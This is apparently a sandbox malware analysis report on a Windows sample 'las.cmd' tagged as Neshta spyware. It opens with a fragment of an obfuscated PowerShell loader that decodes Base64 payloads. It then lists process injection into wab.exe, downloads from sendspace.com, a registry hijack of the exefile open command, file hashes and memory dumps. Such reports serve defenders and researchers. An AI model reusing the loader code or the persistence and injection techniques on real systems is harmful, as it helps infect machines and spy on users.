DvekcLedeloSpl.juStrean F,lttBrndv ') ;$Sprngningers=$Fldningstidens[$Sempiternal];}$Erstatningsfri=301739;$Capanne=29374;Unschool (Udvindende ',andr$Chrong isthlDipl oAmet.bPenneaAdaw.lRnner:KundeBDaikeikarollapprefVirker,orosaSuperg,nraatIdenteGriphrForsg Skjal=Misvi ChapeGGulddeMtg,otTr.wl-UdlaaC.arstoAll rnVandrtDialle m,ntnY gadtKedso Nonpl$SpndeRA,dreeFlighgReg.onRi dasMiniskMckniaVarmeb BrodsJernbl Nor,oAfsk vUnsadeAfdrysdrevb ');Unschool (Udvindende ' .ntt$RevolgBrusel ublaoEng obPyntsaSk delSprjt:LderiS udbyvBrddeeSv skd Aarse Nonmk.ryggu rsterleddeeUnikan Multe Skuf Over,= rist Steen[Kil eSMirexy.nforsRe.owtKi noe El.emfiefe.CorelCAfskroIndusnTrivivFo.edeSitu,rBurdstAlbes]Linie:Jumps:FaradFVealyrLommeoMythomR,forBStyreaEffuss Cagie Pr.g6Presc4 TymbS Ci,rtNontrrMetatiSpo,enPaadugTech (Tryka$CaracBHoeviiImporlSagfrf HentrKinseaGesitgShirrtLiotre U.varTempe)Seleu ');Unschool (Udvindende 'Autop$ZorrigHalvalUbeslo Py,sb.ruppaKon ol.nfor:ExtraT Un.ei Max lH.bbesOldweiDeunak D sprUdvidiUnfe,nBradegTalg. F,ers=Udsal Afre,[MarinShonilyUnfriscpositdissieWess mSag,b.DumpoT,ulleeEcto x LavrtCha h. Ud eEAnisonRebalcSterioBl erdHjem,iD.catnsu.figHa dl]Irrec:Viges:pantoAOvergSM rtiCUnfoiIA.tfuI,uthe.Bl baGkel eeRevertIdeasSTy.patTrafirPaph.iAzoxinOverbg Un o( Clem$ PipiSDebilvVokseeAnte.dElvereMi,roku deruPartir Mod.espirinBarbee Takk)Juckr ');Unschool (Udvindende 'Shurg$IntergAlarmlReorgoMongobC.oicaBoatal,elin:SourdOStrenwMaha.e,amelrVerdet,raada RolleS,pernCelle= Skru$Bro cTOve siProfilSubg.sSub eiCo,dekU yrlrEgetbi,ogienUnthegsinni.FjollsFortvuInar.bMaximsMos stF.rsgrAdvi i.tockn,ydisgTreef( Avia$IncorEKeelbr.enjis aksltIveliaKnlentRepolnSkrmbi DenonraptugpreexsDriftf .onkrSrgefiMat r,Afske$,hinnCHypnoaGrsgap,lumpaBlas.nLawnlnFisk e Ek p)Hy,ro ');Unschool $Owertaen;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	www.sendspace.com	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs03n5.sendspace.com	udp
CA	69.31.136.17:443	fs03n5.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	172.64.149.23:80	crt.sectigo.com	tcp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n2.sendspace.com	udp
CA	69.31.136.57:443	fs13n2.sendspace.com	tcp

Files

memory/1964-4-0x000007FEF5DCE000-0x000007FEF5DCF000-memory.dmp

memory/1964-5-0x000000001B730000-0x000000001BA12000-memory.dmp

memory/1964-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

memory/1964-7-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

memory/1964-8-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

memory/1964-10-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

memory/1964-9-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

memory/1964-11-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5	29f65ba8e88c063813cc50a4ea544e93
SHA1	05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256	1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512	e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar2939.tmp

MD5	435a9ac180383f9fa094131b173a2f7b
SHA1	76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256	67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512	1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P8DIAC4XBVNJ876TFFEO.temp

MD5	7ba0714ab3209848d0f9ff16e080159e
SHA1	8a96aabb4d61648a4aa6195311ab7d6608d47ec7
SHA256	73f2c250d98f1d818141f2d389526bb2dc6c60df8035b7dba672f79531c8db4c
SHA512	3419e3e827e2f8226dc53a9cea4862fd9b9fac9900bef76065ed1aef61f75502547519cd73d83552dcf415bf9e17e2ae6f19fa5559270baac4cfa7bb69cd087c

C:\Users\Admin\AppData\Roaming\Fettle.Han

MD5	55ca93fbeaa671e53d34c80fe6912d87
SHA1	9f722fbaf5c5353347afbde9d3840cbf38f45fb9
SHA256	6ddeb5617a35cb4f0975b03118587f8d77f0f06dcdf13bc8532caa37bba195ad
SHA512	79352e41e4691142721efadc4bac30804a2b89c3464a474017950063fde46ff9f779e1506df459e10fd87829b1cbd02e5199b863a059aef55e7914e358e05c8d

memory/1912-58-0x0000000006680000-0x00000000089D0000-memory.dmp

memory/1964-59-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

memory/1964-60-0x000007FEF5DCE000-0x000007FEF5DCF000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	66b0736ef515e95c4fbdcf0f738b2323
SHA1	a5a5adc11c93befb716b1e8a57eba64211ad1329
SHA256	b810b56e3294836875071d3d85933750561039a8a96858279ce61ff39d613808
SHA512	4d8ee785ecec37f4519f034825f96aa62bc3e24ede16449623c86d917eb5a82d78efaad8342b887af1d34e7b56422a0fda2edf066c7cb02b33f64b20b0bc4aad

memory/1884-87-0x0000000000D00000-0x0000000001D62000-memory.dmp

memory/1964-91-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe

MD5	fa9e52ffa7ca60c38d490abd96cb3952
SHA1	b8ef0fafe68035128978f0383fab3863301aa62e
SHA256	d416c89d8a396915106fb2462430d90bbe1be05c444098bfc671bb3d12089d96
SHA512	26d959e451ee66a26ead7b7971b3993c3f6882abd912ba5a641215cb90f18bbb7ac94e7ae3008bbf2c1c497e6989b8a607b63967b6dd3aa1ef4a5a953342d1ce

\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE

MD5	9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1	ec66cda99f44b62470c6930e5afda061579cde35
SHA256	8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA512	2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

memory/1884-170-0x0000000000D00000-0x0000000001D62000-memory.dmp

memory/1884-172-0x0000000000D00000-0x0000000001D62000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-23 18:36

Reported

2024-05-23 18:38

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\las.cmd"

Signatures

Neshta

persistence spyware neshta

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 3992 set thread context of 4984	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\NOTIFI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\MicrosoftEdgeUpdate.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI391D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 5012 wrote to memory of 4448	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5012 wrote to memory of 4448	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 2108	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 4448 wrote to memory of 2108	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 4448 wrote to memory of 3992	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 3992	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 3992	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3992 wrote to memory of 4164	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 3992 wrote to memory of 4164	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 3992 wrote to memory of 4164	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 3992 wrote to memory of 4984	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3992 wrote to memory of 4984	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3992 wrote to memory of 4984	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3992 wrote to memory of 4984	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3992 wrote to memory of 4984	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\las.cmd"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	209.205.72.20.in-addr.arpa	udp
US	8.8.8.8:53	203.107.17.2.in-addr.arpa	udp
US	8.8.8.8:53	www.sendspace.com	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs03n3.sendspace.com	udp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
CA	69.31.136.17:443	fs03n3.sendspace.com	tcp
US	8.8.8.8:53	80.28.21.104.in-addr.arpa	udp
US	8.8.8.8:53	136.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	17.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
NL	23.62.61.194:443	www.bing.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	172.64.149.23:80	crt.sectigo.com	tcp
US	8.8.8.8:53	194.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	23.149.64.172.in-addr.arpa	udp
NL	23.62.61.194:443	www.bing.com	tcp
US	8.8.8.8:53	57.169.31.20.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n4.sendspace.com	udp
US	8.8.8.8:53	67.169.217.172.in-addr.arpa	udp
CA	69.31.136.57:443	fs13n4.sendspace.com	tcp
US	8.8.8.8:53	57.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	50.23.12.20.in-addr.arpa	udp
US	8.8.8.8:53	56.126.166.20.in-addr.arpa	udp
US	8.8.8.8:53	240.221.184.93.in-addr.arpa	udp
US	8.8.8.8:53	88.156.103.20.in-addr.arpa	udp
US	8.8.8.8:53	13.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	58.99.105.20.in-addr.arpa	udp
US	8.8.8.8:53	200.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	252.15.104.51.in-addr.arpa	udp

Files

memory/4448-2-0x00007FFED0E03000-0x00007FFED0E05000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_esndubfa.xyj.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4448-4-0x00000289A5CC0000-0x00000289A5CE2000-memory.dmp

memory/4448-13-0x00007FFED0E00000-0x00007FFED18C1000-memory.dmp

memory/4448-14-0x00007FFED0E00000-0x00007FFED18C1000-memory.dmp

memory/3992-23-0x000000007487E000-0x000000007487F000-memory.dmp

memory/3992-24-0x00000000047C0000-0x00000000047F6000-memory.dmp

memory/3992-25-0x0000000004FB0000-0x00000000055D8000-memory.dmp

memory/3992-26-0x0000000074870000-0x0000000075020000-memory.dmp

memory/3992-27-0x0000000074870000-0x0000000075020000-memory.dmp

memory/3992-28-0x0000000004EF0000-0x0000000004F12000-memory.dmp

memory/3992-29-0x0000000005690000-0x00000000056F6000-memory.dmp

memory/3992-30-0x0000000005700000-0x0000000005766000-memory.dmp

memory/3992-40-0x0000000005770000-0x0000000005AC4000-memory.dmp

memory/3992-41-0x0000000005D70000-0x0000000005D8E000-memory.dmp

memory/3992-42-0x0000000005DA0000-0x0000000005DEC000-memory.dmp

memory/3992-43-0x00000000075B0000-0x0000000007C2A000-memory.dmp

memory/3992-44-0x0000000006300000-0x000000000631A000-memory.dmp

memory/3992-45-0x0000000007010000-0x00000000070A6000-memory.dmp

memory/3992-46-0x0000000006FA0000-0x0000000006FC2000-memory.dmp

memory/3992-47-0x00000000081E0000-0x0000000008784000-memory.dmp

C:\Users\Admin\AppData\Roaming\Fettle.Han

MD5	55ca93fbeaa671e53d34c80fe6912d87
SHA1	9f722fbaf5c5353347afbde9d3840cbf38f45fb9
SHA256	6ddeb5617a35cb4f0975b03118587f8d77f0f06dcdf13bc8532caa37bba195ad
SHA512	79352e41e4691142721efadc4bac30804a2b89c3464a474017950063fde46ff9f779e1506df459e10fd87829b1cbd02e5199b863a059aef55e7914e358e05c8d

memory/3992-49-0x0000000008790000-0x000000000AAE0000-memory.dmp

memory/4448-50-0x00007FFED0E03000-0x00007FFED0E05000-memory.dmp

memory/4448-51-0x00007FFED0E00000-0x00007FFED18C1000-memory.dmp

memory/4984-67-0x0000000001200000-0x0000000002454000-memory.dmp

memory/3992-70-0x0000000074870000-0x0000000075020000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\wab.exe

MD5	72ad21d191b58842334d32a381ea7fa8
SHA1	f7375f09855a7bce9f7a152c75e84aac69caf828
SHA256	87abfab7bf5e213fc9e63c7fa39edfa6452eb5f7fdd668cd370d9cf4ea3ef729
SHA512	78662231c7ce0d03374b69dfd32614786dc5bf0c8ad2baadf2143f42bb03bd378632cc457dc414aa7e3d284674cc9151c39f90d71d9a5dd15dba689b2283386d

memory/4448-82-0x00007FFED0E00000-0x00007FFED18C1000-memory.dmp

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

MD5	0a1704e48ff603332eaac935608d3cf1
SHA1	e138d3d481c054a89b85312bfddd2f8a0baf8c1b
SHA256	d9e02af7b220e25f385c71e0a3be4b83203e0673cc1e56fcf02d3e1f0f3774b6
SHA512	7cec7a7c5542e66e347381e9ab5572b2231ab11dac61d9a76bcb7cbd4bd1e86f8169e7840c2e69f93e686cc1834e52cd6b47817b760ea618139a3de64076314f

memory/4984-170-0x0000000001200000-0x0000000002454000-memory.dmp

memory/4984-171-0x0000000001200000-0x0000000002454000-memory.dmp

memory/4984-172-0x0000000001200000-0x0000000002454000-memory.dmp

memory/4984-174-0x0000000001200000-0x0000000002454000-memory.dmp

Sample ID	240523-w8w3laca3w
Target	las.cmd
SHA256	c73db3a4bf51b48059eef2a5003feafc43dc7e93bf8c70fb51a0423c212d85a7
Tags	neshta execution persistence spyware

Malware Analysis Report

2024-09-11 03:08

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

